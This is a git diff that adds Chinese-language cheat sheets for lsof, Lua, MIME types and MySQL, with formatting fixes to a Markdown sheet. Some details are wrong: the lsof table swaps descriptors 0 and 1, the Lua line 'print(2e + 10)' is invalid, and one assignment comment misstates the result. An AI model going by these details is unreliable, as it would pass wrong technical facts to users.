- [在线编译预览](http://lesscss.org/less-preview/#eyJjb2RlIjoiI2xpYigpIHtcbiAgICAuY29sb3JzKCkge1xuICAgICAgQHByaW1hcnk6IGJsdWU7XG4gICAgICBAc2Vjb25kYXJ5OiBncmVlbjtcbiAgICB9XG4gICAgLnJ1bGVzKEBzaXplKSB7XG4gICAgICBib3JkZXI6IEBzaXplIHNvbGlkIHdoaXRlO1xuICAgIH1cbiAgfVxuICBcbiAgLmJveCB3aGVuICgjbGliLmNvbG9yc1tAcHJpbWFyeV0gPSBibHVlKSB7XG4gICAgd2lkdGg6IDEwMHB4O1xuICAgIGhlaWdodDogKCR3aWR0aCAvIDIpO1xuICB9XG4gIFxuICAuYmFyOmV4dGVuZCguYm94KSB7XG4gICAgQG1lZGlhIChtaW4td2lkdGg6IDYwMHB4KSB7XG4gICAgICB3aWR0aDogMjAwcHg7XG4gICAgICAjbGliLnJ1bGVzKDFweCk7XG4gICAgfVxuICB9IiwiYWN0aXZlVmVyc2lvbiI6IjQueCJ9) _(lesscss.org)_
|
223
docs/lsof.md
Normal file
223
docs/lsof.md
Normal file
@ -0,0 +1,223 @@
|
||||
Lsof 备忘清单
|
||||
===
|
||||
|
||||
这个快速参考备忘单提供了使用 lsof 命令的各种方法。
|
||||
|
||||
入门
|
||||
----
|
||||
|
||||
### 介绍
|
||||
|
||||
**lsof** 表示 `L`i`s`t `O`pen `F`iles 用于查找哪个进程打开了哪些文件
|
||||
|
||||
```shell
|
||||
$ lsof
|
||||
$ sudo lsof -u root
|
||||
```
|
||||
|
||||
### 特定于端口
|
||||
|
||||
```shell
|
||||
$ lsof -i :8080
|
||||
$ lsof -i :80 -i :22
|
||||
$ lsof -i TCP:22
|
||||
$ lsof -i TCP:1-1024
|
||||
$ lsof -i UDP
|
||||
$ lsof -i @192.168.1.5
|
||||
```
|
||||
|
||||
### 特定于进程
|
||||
|
||||
```shell
|
||||
$ lsof -c mysql
|
||||
$ lsof -c java
|
||||
$ lsof -c ssh
|
||||
$ lsof -c nginx
|
||||
$ lsof -c ssh -c httpd
|
||||
```
|
||||
|
||||
### 特定于用户
|
||||
|
||||
```shell
|
||||
$ lsof -u www-data
|
||||
$ lsof -u www-data -u ubuntu
|
||||
$ lsof -i -u ^root # 特定用户除外
|
||||
```
|
||||
|
||||
### 特定于网络
|
||||
|
||||
```shell
|
||||
$ lsof -i 4 # 仅 IPv4
|
||||
$ lsof -i 6 # 仅 IPv6
|
||||
```
|
||||
|
||||
### 特定的PID
|
||||
|
||||
```shell
|
||||
$ lsof -p 1753
|
||||
$ lsof -p ^3 # 除了某些pid
|
||||
```
|
||||
|
||||
### 特定文件名
|
||||
|
||||
```shell
|
||||
$ lsof /var/log/messages
|
||||
$ lsof /etc/passwd
|
||||
```
|
||||
|
||||
### 特定目录
|
||||
|
||||
```shell
|
||||
$ lsof +D /var/log # 在目录内
|
||||
```
|
||||
|
||||
### Kill
|
||||
|
||||
```shell
|
||||
$ kill -9 `lsof -t -u apache`
|
||||
$ kill -9 $(lsof -t -i :8080)
|
||||
```
|
||||
|
||||
### 参数
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```bash
|
||||
-a # 列出打开文件存在的进程;
|
||||
-c<进程名> # 列出指定进程所打开的文件;
|
||||
-g # 列出GID号进程详情;
|
||||
-d<文件号> # 列出占用该文件号的进程;
|
||||
+d<目录> # 列出目录下被打开的文件;
|
||||
+D<目录> # 递归列出目录下被打开的文件;
|
||||
-n<目录> # 列出使用NFS的文件;
|
||||
-i<条件> # 列出符合条件的进程(协议,:端口,@ip)
|
||||
-p<进程号> # 列出指定进程号所打开的文件;
|
||||
-u # 列出UID号进程详情;
|
||||
-h # 显示帮助信息;
|
||||
-v # 显示版本信息
|
||||
```
|
||||
|
||||
### 列出指定进程号所打开的文件
|
||||
|
||||
```bash
|
||||
lsof -p $pid
|
||||
```
|
||||
|
||||
### 获取端口对应的进程 ID=>pid
|
||||
|
||||
```bash
|
||||
lsof -i:9981 -P -t -sTCP:LISTEN
|
||||
```
|
||||
|
||||
### 列出打开文件的进程
|
||||
|
||||
```bash
|
||||
lsof $filename
|
||||
```
|
||||
|
||||
示例
|
||||
---
|
||||
|
||||
### 示例
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
```bash
|
||||
$ lsof
|
||||
command PID USER FD type DEVICE SIZE NODE NAME
|
||||
init 1 root cwd DIR 8,2 4096 2 /
|
||||
init 1 root rtd DIR 8,2 4096 2 /
|
||||
init 1 root txt REG 8,2 43496 6121706 /sbin/init
|
||||
init 1 root mem REG 8,2 143600 7823908 /lib64/ld-2.5.so
|
||||
init 1 root mem REG 8,2 1722304 7823915 /lib64/libc-2.5.so
|
||||
init 1 root mem REG 8,2 23360 7823919 /lib64/libdl-2.5.so
|
||||
init 1 root mem REG 8,2 95464 7824116 /lib64/libselinux.so.1
|
||||
init 1 root mem REG 8,2 247496 7823947 /lib64/libsepol.so.1
|
||||
init 1 root 10u FIFO 0,17 1233 /dev/initctl
|
||||
migration 2 root cwd DIR 8,2 4096 2 /
|
||||
migration 2 root rtd DIR 8,2 4096 2 /
|
||||
migration 2 root txt unknown /proc/2/exe
|
||||
```
|
||||
|
||||
### 文件描述符列表(FD)
|
||||
<!--rehype:wrap-class=row-span-3-->
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`cwd` | 表示当前工作目录,即:应用程序的当前工作目录,这是该应用程序启动的目录,除非它本身对这个目录进行更改
|
||||
`txt` | 该类型的文件是程序代码,如应用程序二进制文件本身或共享库,如上列表中显示的 /sbin/init 程序
|
||||
`lnn` | 库引用 (AIX);
|
||||
`er` | FD 信息错误(参见名称栏)
|
||||
`jld` | jail 目录 (FreeBSD);
|
||||
`ltx` | 共享库文本(代码和数据)
|
||||
`mxx` | 十六进制内存映射类型编号xx
|
||||
`m86` | DOS合并映射文件
|
||||
`mem` | 内存映射文件
|
||||
`mmap` | 内存映射设备
|
||||
`pd` | 父目录
|
||||
`rtd` | 根目录
|
||||
`tr` | 内核跟踪文件 (OpenBSD)
|
||||
`v86` | VP/ix 映射文件
|
||||
`0` | 表示标准输出
|
||||
`1` | 表示标准输入
|
||||
`2` | 表示标准错误
|
||||
<!--rehype:className=style-list-arrow-->
|
||||
|
||||
### 示例列信息
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`COMMAND` | 进程的名称
|
||||
`PID` | 进程标识符
|
||||
`PPID` | 父进程标识符(需要指定-R参数)
|
||||
`USER` | 进程所有者
|
||||
`PGID` | 进程所属组
|
||||
`FD` | 文件描述符,应用程序通过它识别该文件
|
||||
|
||||
### 标准输出/输入/错误文件状态模式(FD)
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`u` | 表示该文件被打开并处于读取/写入模式
|
||||
`r` | 表示该文件被打开并处于只读模式
|
||||
`w` | 表示该文件被打开并处于写入模式
|
||||
`空格` | 表示该文件的状态模式为 unknow,且没有锁定
|
||||
`-` | 表示该文件的状态模式为 unknow,且被锁定
|
||||
|
||||
一般在[标准输出/输入/错误](#文件描述符列表fd)后还跟着文件状态模式
|
||||
|
||||
### 文件状态模锁 (FD)
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`N` | 对于未知类型的Solaris NFS锁
|
||||
`r` | 用于部分文件的读取锁定
|
||||
`R` | 对整个文件进行读取锁定
|
||||
`w` | 对文件的一部分进行写锁定(文件的部分写锁)
|
||||
`W` | 对整个文件进行写锁定(整个文件的写锁)
|
||||
`u` | 用于任何长度的读写锁
|
||||
`U` | 对于未知类型的锁
|
||||
`x` | 对于文件部分的SCO OpenServer Xenix锁
|
||||
`X` | 对于整个文件的SCO OpenServer Xenix锁
|
||||
`space` | 如果没有锁
|
||||
|
||||
在[文件状态模式](#标准输出输入错误文件状态模式fd)后面,还跟着相关的锁
|
||||
|
||||
### 文件类型
|
||||
|
||||
标识 | 说明
|
||||
:- | :-
|
||||
`DIR` | 表示目录
|
||||
`CHR` | 表示字符类型
|
||||
`BLK` | 块设备类型
|
||||
`UNIX` | UNIX 域套接字
|
||||
`FIFO` | 先进先出 (FIFO) 队列
|
||||
`IPv4` | 网际协议 (IP) 套接字
|
||||
`DEVICE` | 指定磁盘的名称
|
||||
`SIZE` | 文件的大小
|
||||
`NODE` | 索引节点(文件在磁盘上的标识)
|
||||
`NAME` | 打开文件的确切名称
|
||||
`REG` | 常规文件
|
||||
|
||||
另见
|
||||
---
|
||||
|
||||
- [lsof 命令帮助文档](https://jaywcjlove.github.io/linux-command/c/lsof.html) _(jaywcjlove.github.io)_
|
435
docs/lua.md
Normal file
435
docs/lua.md
Normal file
@ -0,0 +1,435 @@
|
||||
Lua 备忘清单
|
||||
===
|
||||
|
||||
包含最重要概念、函数、方法等的 [Lua](http://www.lua.org) 备忘单。 初学者的完整快速参考。
|
||||
|
||||
入门
|
||||
---
|
||||
|
||||
### 下载
|
||||
|
||||
macos 使用 homebrew 下载
|
||||
|
||||
```bash
|
||||
$ brew install lua
|
||||
```
|
||||
|
||||
#### 其它下载方式
|
||||
|
||||
* [下载地址](https://luabinaries.sourceforge.net/download.html) _(sourceforge.net)_
|
||||
|
||||
```bash
|
||||
# 查看 lua 是否安装成功
|
||||
$ lua -v
|
||||
```
|
||||
|
||||
### hello world
|
||||
|
||||
```lua
|
||||
#!/usr/bin/env lua
|
||||
|
||||
print("Hello World!")
|
||||
```
|
||||
|
||||
#### 运行
|
||||
|
||||
```bash
|
||||
$ lua ./hello.lua
|
||||
# 或者也可以像 bash 脚本一样
|
||||
$ chmod +x hello.lua
|
||||
./hello.lua
|
||||
```
|
||||
|
||||
### 注释
|
||||
|
||||
#### 单行注释
|
||||
|
||||
```lua
|
||||
-- 以两个减号开始
|
||||
```
|
||||
|
||||
#### 多行注释
|
||||
|
||||
多行注释以 `--[[` 开头, 以 `]]` 结尾
|
||||
|
||||
```lua
|
||||
--[[
|
||||
|
||||
]]
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### type() 函数
|
||||
|
||||
使用 `type()` 函数可以判断变量或者值的类型
|
||||
|
||||
```lua
|
||||
print(type(true)) -- boolean
|
||||
print(type(nil)) -- nil
|
||||
```
|
||||
|
||||
### number
|
||||
|
||||
Lua 默认只有一种 number 类型 double (双精度) 类型
|
||||
|
||||
```lua
|
||||
print(10)
|
||||
print(0.3)
|
||||
print(2e + 10)
|
||||
```
|
||||
|
||||
### string
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```lua
|
||||
-- 使用 ''
|
||||
local str1 = 'str1'
|
||||
-- 使用 ""
|
||||
local str2 = "str2"
|
||||
```
|
||||
|
||||
#### `[[]]`
|
||||
|
||||
使用 `[[]]` 跨行表示多个字符串
|
||||
|
||||
```lua
|
||||
local html = [[
|
||||
<html>
|
||||
<head></head>
|
||||
<body>
|
||||
<a href="https://www.twle.cn/">简单编程</a>
|
||||
</body>
|
||||
</html>
|
||||
]]
|
||||
print(html)
|
||||
```
|
||||
|
||||
#### 字符串连接(`..`)
|
||||
|
||||
```lua
|
||||
print("a" .. 'b')
|
||||
-- ab
|
||||
print(157 .. 428)
|
||||
-- 157428
|
||||
```
|
||||
|
||||
#### 字符串长度(`#`)
|
||||
|
||||
```lua
|
||||
print(#"string") -- 6
|
||||
```
|
||||
|
||||
### table
|
||||
|
||||
```lua
|
||||
local table = {}
|
||||
```
|
||||
|
||||
#### 迭代 table
|
||||
|
||||
默认的初始索引会从 1 开始
|
||||
|
||||
```lua
|
||||
local array = { "apple", "pear", "orange", "grape" }
|
||||
|
||||
print(array[1]) -- apple
|
||||
|
||||
for k, v in pairs(array) do
|
||||
print(k .. " : " .. v)
|
||||
end
|
||||
-- 1 : apple
|
||||
-- 2 : pear
|
||||
-- 3 : orange
|
||||
-- 4 : grape
|
||||
```
|
||||
|
||||
#### 指定键
|
||||
|
||||
```lua
|
||||
local array = {}
|
||||
array.one = "apple"
|
||||
array["two"] = "peach"
|
||||
|
||||
print(array.one) -- apple
|
||||
print(array.two) -- peach
|
||||
```
|
||||
|
||||
### 变量
|
||||
|
||||
#### 默认值
|
||||
|
||||
变量的默认值均是 nil
|
||||
|
||||
```lua
|
||||
#!/usr/bin/env lua
|
||||
print(b) -- nil
|
||||
```
|
||||
|
||||
#### 全局和局部变量
|
||||
|
||||
Lua 中的变量全是全局变量,那怕是语句块或是函数里,除非用 local 显式声明为局部变量
|
||||
|
||||
```lua
|
||||
#!/usr/bin/env lua
|
||||
function main()
|
||||
local b = 12
|
||||
a = 23
|
||||
end
|
||||
|
||||
main()
|
||||
print(a) -- 23
|
||||
print(b) -- nil
|
||||
```
|
||||
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 赋值
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```lua
|
||||
a = "hello " .. "world" -- 改变 变量
|
||||
t.n = t.n + 1 -- 改变 table
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
```lua
|
||||
-- 给多个变量赋值
|
||||
a, b = 10, 2*a --> a=10; b=20
|
||||
```
|
||||
|
||||
#### 交换变量
|
||||
|
||||
```lua
|
||||
local x, y = 1, 3
|
||||
x, y = y, x
|
||||
|
||||
print(x, y) -- 3, 1
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
```lua
|
||||
local tab = {}
|
||||
tab.one = 2
|
||||
tab.two = 1
|
||||
|
||||
tab["one"], tab["two"] = tab.two, tab.one
|
||||
|
||||
print(tab.one, tab.two) -- 1 2
|
||||
```
|
||||
|
||||
#### 赋值个数不一致
|
||||
|
||||
* 如果变量个数**大于**值的个数,按变量个数补足 nil
|
||||
|
||||
```lua
|
||||
a, b, c = 1, 3
|
||||
print(a,b,c) --> 1 3 nil
|
||||
```
|
||||
|
||||
* 如果变量个数**小于**值的个数,多余的值会被忽略
|
||||
|
||||
```lua
|
||||
a = 1
|
||||
local a, b = a, a + 1, a + 2
|
||||
print(a, b) --> 1 2
|
||||
```
|
||||
|
||||
<!--rehype:className=style-round-->
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 运算符
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
\+ | 加法
|
||||
\- | 减法
|
||||
\* | 乘法
|
||||
\/ | 除法
|
||||
\% | 取余,求出除法的余数
|
||||
\^ | 乘幂,计算次方
|
||||
\- | 负号,取负值
|
||||
|
||||
```lua
|
||||
local a, b = 4, 3
|
||||
|
||||
print(a + b) -- 7
|
||||
print(a - b) -- 1
|
||||
print(a / b) -- 1.3333333333333
|
||||
print(a * b) -- 12
|
||||
print(a % b) -- 1
|
||||
print(a ^ b) -- 64.0
|
||||
```
|
||||
|
||||
### 类型转换
|
||||
|
||||
* 在算术运算中,string 类型会尝试自动转换为 number 时
|
||||
|
||||
```lua
|
||||
local a, b, c = "str", "1", "2"
|
||||
|
||||
-- print(a + b) -- error
|
||||
print(b + c) -- 3
|
||||
```
|
||||
|
||||
* number 类型使用 `..` 会自动转换为 string
|
||||
|
||||
```lua
|
||||
local a, b = 1, 2
|
||||
print(type(a .. b))
|
||||
```
|
||||
|
||||
* 其它方式的转换
|
||||
|
||||
```lua
|
||||
print(type(tostring(12))) -- string
|
||||
print(type(tonumber("12"))) -- number
|
||||
```
|
||||
<!--rehype:className=style-round-->
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
条件语句
|
||||
---
|
||||
|
||||
### 运算符
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
#### 关系运算符
|
||||
|
||||
符号 | 含义
|
||||
:- | :-
|
||||
`==` | 等于
|
||||
`~=` | 不等于
|
||||
`>` | 大于
|
||||
`<` | 小于
|
||||
`>=` | 大于等于
|
||||
`<=` | 小于等于
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
```lua
|
||||
local a, b = 4, 3
|
||||
|
||||
print(a < b) -- false
|
||||
print(a <= b) -- false
|
||||
print(a == b) -- false
|
||||
print(a ~= b) -- true
|
||||
print(a > b) -- true
|
||||
print(a >= b)-- true
|
||||
```
|
||||
|
||||
#### 逻辑运算符
|
||||
|
||||
符号 | 含义
|
||||
:- | :-
|
||||
`and` | 逻辑与
|
||||
`or` | 逻辑或操作符
|
||||
`not` | 逻辑非操作符
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
```lua
|
||||
local a, b = true, false
|
||||
print(a and b) -- false
|
||||
print(a and not b) -- true
|
||||
print(a or b) -- true
|
||||
```
|
||||
|
||||
### while 循环
|
||||
|
||||
```lua
|
||||
local num = 1
|
||||
while (num < 5) do
|
||||
print("num 的值为:", num)
|
||||
num = num + 1
|
||||
end
|
||||
```
|
||||
|
||||
### if 语句
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```lua
|
||||
if(0)
|
||||
then
|
||||
print("0 为 true")
|
||||
end
|
||||
```
|
||||
|
||||
#### if .. elseif() .. else
|
||||
|
||||
```lua
|
||||
local age = 27;
|
||||
|
||||
if (age < 18)
|
||||
then
|
||||
print("age 小于 18")
|
||||
elseif (age < 25)
|
||||
then
|
||||
print("age 小于 25")
|
||||
elseif (age < 30)
|
||||
then
|
||||
print("age 小于 30")
|
||||
else
|
||||
print("age 大于 30")
|
||||
end
|
||||
|
||||
print("age 的值为 :", age)
|
||||
```
|
||||
|
||||
<red>注意: </red>`Lua` 中 `0` 为 `true`,但是 `Lua` 中的 `nil` 可以当作 `false`
|
||||
|
||||
### for 循环
|
||||
|
||||
```lua
|
||||
for i = 10, 1, -1 do
|
||||
print(i)
|
||||
end
|
||||
```
|
||||
|
||||
* lua 中的 for 循环从参数 1 变化到参数 2,每次变化以参数 3 为步长递增 i,并执行一次表达式
|
||||
* 参数三,是可选的,如果不指定,默认是 1
|
||||
* 参数二只会在一开始求值,其后不会再进行运算
|
||||
|
||||
```lua
|
||||
local f = function(x)
|
||||
print("in f(x) ")
|
||||
return x * 2
|
||||
end
|
||||
|
||||
for i = 1, f(5) do
|
||||
print(i)
|
||||
end
|
||||
```
|
||||
<!--rehype:className=style-round wrap-text-->
|
||||
|
||||
### repeat...until 循环
|
||||
|
||||
```lua
|
||||
local num = 11
|
||||
repeat
|
||||
print("num 的值为: ", num)
|
||||
num = num + 1
|
||||
until (num > 10)
|
||||
-- num 的值为:11
|
||||
```
|
||||
|
||||
`repeat...until` 循环的条件语句在当前循环结束后判断
|
||||
|
||||
### break
|
||||
|
||||
```lua
|
||||
local num = 11
|
||||
repeat
|
||||
print("num 的值为: ", num)
|
||||
num = num + 1
|
||||
if (num > 15) then
|
||||
break
|
||||
end
|
||||
until (num > 20)
|
||||
```
|
||||
|
||||
另见
|
||||
----
|
||||
|
||||
* [Lua 官网](http://www.lua.org) _(lua.org)_
|
||||
* [luatos](https://wiki.luatos.com/luaGuide/introduction.html) _(wiki.luatos.com)_
|
||||
* [Lua 教程](https://www.twle.cn/l/yufei/lua53/lua-basic-index.html) _(twle.cn)_
|
@ -3,7 +3,6 @@ Markdown 备忘清单
|
||||
|
||||
这是 Markdown 语法的快速参考备忘单。
|
||||
|
||||
|
||||
Markdown 快速参考
|
||||
----
|
||||
|
||||
@ -30,7 +29,6 @@ Header 2
|
||||
--------
|
||||
```
|
||||
|
||||
|
||||
### 块引用
|
||||
|
||||
```markdown
|
||||
@ -64,6 +62,7 @@ Header 2
|
||||
+ Item 1
|
||||
+ Item 2
|
||||
```
|
||||
|
||||
或者**任务**列表
|
||||
|
||||
```markdown
|
||||
@ -132,11 +131,13 @@ ___
|
||||
|
||||
### 代码
|
||||
|
||||
~~~markdown
|
||||
```markdown
|
||||
|
||||
```javascript
|
||||
console.log("This is a block code")
|
||||
```
|
||||
~~~
|
||||
|
||||
```
|
||||
|
||||
```markdown
|
||||
~~~css
|
||||
@ -144,12 +145,10 @@ console.log("This is a block code")
|
||||
~~~
|
||||
```
|
||||
|
||||
|
||||
```markdown
|
||||
4 空格缩进做一个代码块
|
||||
```
|
||||
|
||||
|
||||
#### 内联代码
|
||||
|
||||
```markdown
|
||||
@ -240,10 +239,10 @@ Markdown 表格生成器:[tableconvert.com](https://tableconvert.com/)
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
```html
|
||||
目前只支持部分段内 HTML 元素效果,包括 <kdb>, <b>, <i>, <em>, <sup>, <sub>, <br>
|
||||
目前只支持部分段内 HTML 元素效果,包括 <kbd>, <b>, <i>, <em>, <sup>, <sub>, <br>
|
||||
```
|
||||
|
||||
另见
|
||||
----
|
||||
|
||||
- [GitHub 风格的 Markdown 规范](https://github.github.com/gfm/) _(github.com)_
|
||||
- [GitHub 风格的 Markdown 规范](https://github.github.com/gfm/) _(github.com)_
|
||||
|
1417
docs/matlab.md
Normal file
1417
docs/matlab.md
Normal file
File diff suppressed because it is too large
Load Diff
105
docs/mime.md
Normal file
105
docs/mime.md
Normal file
@ -0,0 +1,105 @@
|
||||
MIME 类型 备忘清单
|
||||
===
|
||||
|
||||
此备忘单列出了一些常见的 Web MIME 类型。 您可以查看包含所有已注册 MIME 类型的 [IANA/MIME 媒体类型注册表](https://www.iana.org/assignments/media-types/media-types.xhtml)。
|
||||
|
||||
入门
|
||||
----
|
||||
|
||||
### 介绍
|
||||
<!--rehype:style=display:none;&wrap-style=padding-top:0;&wrap-class=col-span-3-->
|
||||
|
||||
- MIME 类型注册表关联特定的文件扩展名和文件名模式
|
||||
- MIME(多用途 Internet 邮件扩展)类型又名媒体类型
|
||||
- MIME 类型在 IETF 的 RFC 6838 中定义和标准化
|
||||
- 表示文档、文件或字节分类的性质和格式。
|
||||
- 对于 Internet 上的文件格式或格式内容
|
||||
<!--rehype:className=style-round-->
|
||||
|
||||
MIME 类型列表
|
||||
--------
|
||||
|
||||
### 常见的 MIME(媒体)类型
|
||||
<!--rehype:wrap-class=col-span-3-->
|
||||
|
||||
扩展名 | MIME 类型(内容类型) | 文件种类
|
||||
:-|:-|:-
|
||||
\.aac | audio/aac | AAC 音频
|
||||
\.abw | application/x\-abiword | AbiWord 文档
|
||||
\.arc | application/x\-freearc | 存档文档(嵌入多个文件)
|
||||
\.avi | video/x\-msvideo | AVI: 音频视频交错
|
||||
\.azw | application/vnd\.amazon\.ebook | 亚马逊 Kindle 电子书格式
|
||||
\.bin | application/octet\-stream | 任何类型的二进制数据
|
||||
\.bmp | image/bmp | Windows OS/2 位图图形
|
||||
\.bz | application/x\-bzip | BZip 存档
|
||||
\.bz2 | application/x\-bzip2 | BZip2 存档
|
||||
\.csh | application/x\-csh | C\-Shell 脚本
|
||||
\.css | text/css | 级联样式表 (CSS)
|
||||
\.csv | text/csv | 逗号分隔值 (CSV)
|
||||
\.doc | application/msword | 微软 Word
|
||||
\.docx | application/vnd\.openxmlformats\-officedocument\.wordprocessingml\.document | 微软 Word (OpenXML)
|
||||
\.eot | application/vnd\.ms\-fontobject | MS 嵌入式 OpenType 字体
|
||||
\.epub | application/epub\+zip | 电子出版物 (EPUB)
|
||||
\.gz | application/gzip | GZip 压缩存档
|
||||
\.gif | image/gif | 图形交换格式 (GIF)
|
||||
\.htm \.html | text/html | 超文本标记语言 (HTML)
|
||||
\.ico | image/vnd\.microsoft\.icon | 图标格式
|
||||
\.ics | text/calendar | iCalendar 格式
|
||||
\.jar | application/java\-archive | Java 存档 (JAR)
|
||||
\.jpeg \.jpg | image/jpeg | JPEG 图像
|
||||
\.js | text/javascript | JavaScript
|
||||
\.json | application/json | JSON格式
|
||||
\.jsonld | application/ld\+json | JSON\-LD 格式
|
||||
\.mid \.midi | audio/midi audio/x\-midi | 乐器数字接口 (MIDI)
|
||||
\.mjs | text/javascript | JavaScript 模块
|
||||
\.mp3 | audio/mpeg | MP3 音频
|
||||
\.mpeg | video/mpeg | MPEG 视频
|
||||
\.mpkg | application/vnd\.apple\.installer\+xml | Apple 安装程序包
|
||||
\.odp | application/vnd\.oasis\.opendocument\.presentation | OpenDocument 演示文档
|
||||
\.ods | application/vnd\.oasis\.opendocument\.spreadsheet | OpenDocument 电子表格文档
|
||||
\.odt | application/vnd\.oasis\.opendocument\.text | OpenDocument 文本文档
|
||||
\.oga | audio/ogg | OGG 音频
|
||||
\.ogv | video/ogg | OGG 视频
|
||||
\.ogx | application/ogg | OGG
|
||||
\.opus | audio/opus | Opus 音频
|
||||
\.otf | font/otf | OpenType 字体
|
||||
\.png | image/png | 便携式网络图形
|
||||
\.pdf | application/pdf | Adobe 便携式文档格式 (PDF)
|
||||
\.php | application/php | 超文本预处理器(个人主页)
|
||||
\.ppt | application/vnd\.ms\-powerpoint | 微软PowerPoint
|
||||
\.pptx | application/vnd\.openxmlformats\-officedocument\.presentationml\.presentation | 微软 PowerPoint (OpenXML)
|
||||
\.rar | application/vnd\.rar | RAR 存档
|
||||
\.rtf | application/rtf | 富文本格式 (RTF)
|
||||
\.sh | application/x\-sh | Bourne shell 脚本
|
||||
\.svg | image/svg\+xml | 可缩放矢量图形 (SVG)
|
||||
\.swf | application/x\-shockwave\-flash | 小型 Web 格式 (SWF) 或 Adobe Flash 文档
|
||||
\.tar | application/x\-tar | Tape 存档 (TAR)
|
||||
\.tif \.tiff | image/tiff | 标记图像文件格式 (TIFF)
|
||||
\.ts | video/mp2t | MPEG 传输流
|
||||
\.ttf | font/ttf | TrueType 字体
|
||||
\.txt | text/plain | 文本,(通常为 ASCII 或 ISO 8859\-n)
|
||||
\.vsd | application/vnd\.visio | 微软 Visio
|
||||
\.wav | audio/wav | Waveform 音频格式
|
||||
\.weba | audio/webm | WEBM 音频
|
||||
\.webm | video/webm | WEBM视频
|
||||
\.webp | image/webp | WEBP图像
|
||||
\.woff | font/woff | Web 开放字体格式 (WOFF)
|
||||
\.woff2 | font/woff2 | Web 开放字体格式 (WOFF)
|
||||
\.xhtml | application/xhtml\+xml | XHTML
|
||||
\.xls | application/vnd\.ms\-excel | Microsoft Excel
|
||||
\.xlsx | application/vnd\.openxmlformats\-officedocument\.spreadsheetml\.sheet | Microsoft Excel (OpenXML)
|
||||
\.xml | application/xml 如果临时用户不可读(RFC 3023,第 3 节) text/xml,如果临时用户可读(RFC 3023,第 3 节) | XML
|
||||
\.xul | application/vnd\.mozilla\.xul\+xml | XUL
|
||||
\.zip | application/zip | ZIP 档案
|
||||
\.3gp | video/3gpp audio/3gpp 如果它不包含视频 | 3GPP 音视频容器
|
||||
\.3g2 | video/3gpp2 audio/3gpp2 如果它不包含视频 | 3GPP2 音视频容器
|
||||
\.7z | application/x\-7z\-compressed | 7-zip 存档
|
||||
\.markdown \.md | text/markdown | Markdown 文件
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
另见
|
||||
---
|
||||
|
||||
- [iana mime.types](http://www.iana.org/assignments/media-types/media-types.xhtml) _(iana.org)_
|
||||
- [apache mime.types](http://svn.apache.org/repos/asf/httpd/httpd/trunk/docs/conf/mime.types) _(svn.apache.org)_
|
||||
- [nginx mime.types](http://hg.nginx.org/nginx/raw-file/default/conf/mime.types) _(hg.nginx.org)_
|
609
docs/mysql.md
Normal file
609
docs/mysql.md
Normal file
@ -0,0 +1,609 @@
|
||||
MySQL 备忘清单
|
||||
===
|
||||
|
||||
本备忘单旨在快速理解 [MySQL](https://mysql.com) 所涉及的主要概念,提供了最常用的SQL语句,供您参考。
|
||||
|
||||
入门
|
||||
---
|
||||
|
||||
### 介绍
|
||||
<!--rehype:wrap-class=row-span-3-->
|
||||
|
||||
MySQL 为关系型数据库(Relational Database Management System),一个关系型数据库由一个或数个表格组成,如下所示的一个表格
|
||||
|
||||
----
|
||||
|
||||
```bash
|
||||
name ▼ 键 ▼ 列(col)
|
||||
┌┈┈┈┈┬┈┈┈┈┈┈┈┈┬┈┈┈┈┈┈┬┈┈┈┈┈┈┈┐
|
||||
┆ id ┆ name ┆ uid ┆ level ┆ ◀ 表头header
|
||||
├┈┈┈┈┼┈┈┈┈┈┈┈┈┤┈┈┈┈┈┈┤┈┈┈┈┈┈┈┤
|
||||
┆ 1 ┆ mysql ┆ 0 ┆ 3 ┆
|
||||
├┈┈┈┈┼┈┈┈┈┈┈┈┈┤┈┈┈┈┈┈┤┈┈┈┈┈┈┈┤
|
||||
┆ 2 ┆ redis ┆ 12 ┆ 1 ┆ ◀ 行 row
|
||||
└┈┈┈┈┴┈┈┈┈┈┈┈┈┴┈┈┈┈┈┈┴┈┈┈┈┈┈┈┘
|
||||
redis ▲ 值
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
- `表头(header)` 每一列的名称
|
||||
- `列(col)` 具有相同数据类型的数据的集合
|
||||
- `行(row)` 每一行用来描述某个人/物的具体信息
|
||||
- `值(value)` 行的具体信息,每个值与该列数据类型相同
|
||||
- `键(key)` 用来识别某个特定的人/物的方法,有唯一性
|
||||
|
||||
### 登录MySQL
|
||||
|
||||
```shell
|
||||
# 默认用户名<root>,-p 是密码,
|
||||
# ⚠️参数后面不需要空格
|
||||
mysql -h 127.0.0.1 -u <用户名> -p<密码>
|
||||
mysql -D 数据库名 -h 主机名 -u 用户名 -p
|
||||
mysql -h <host> -P <端口号> -u <user> -p [db_name]
|
||||
mysql -h <host> -u <user> -p [db_name]
|
||||
```
|
||||
|
||||
### 常用的
|
||||
<!--rehype:wrap-class=row-span-3-->
|
||||
|
||||
#### 数据库 Database
|
||||
|
||||
:-|:-
|
||||
:-|:-
|
||||
`CREATE DATABASE` db `;` | `创建`数据库
|
||||
`SHOW DATABASES;` | `列出`数据库
|
||||
`USE` db`;` | `切换`到数据库
|
||||
`CONNECT` db `;` | `切换`到数据库
|
||||
`DROP DATABASE` db`;` | `删除`数据库
|
||||
|
||||
#### 表 Table
|
||||
|
||||
:-|:-
|
||||
:-|:-
|
||||
`SHOW TABLES;` | 列出当前数据库的表
|
||||
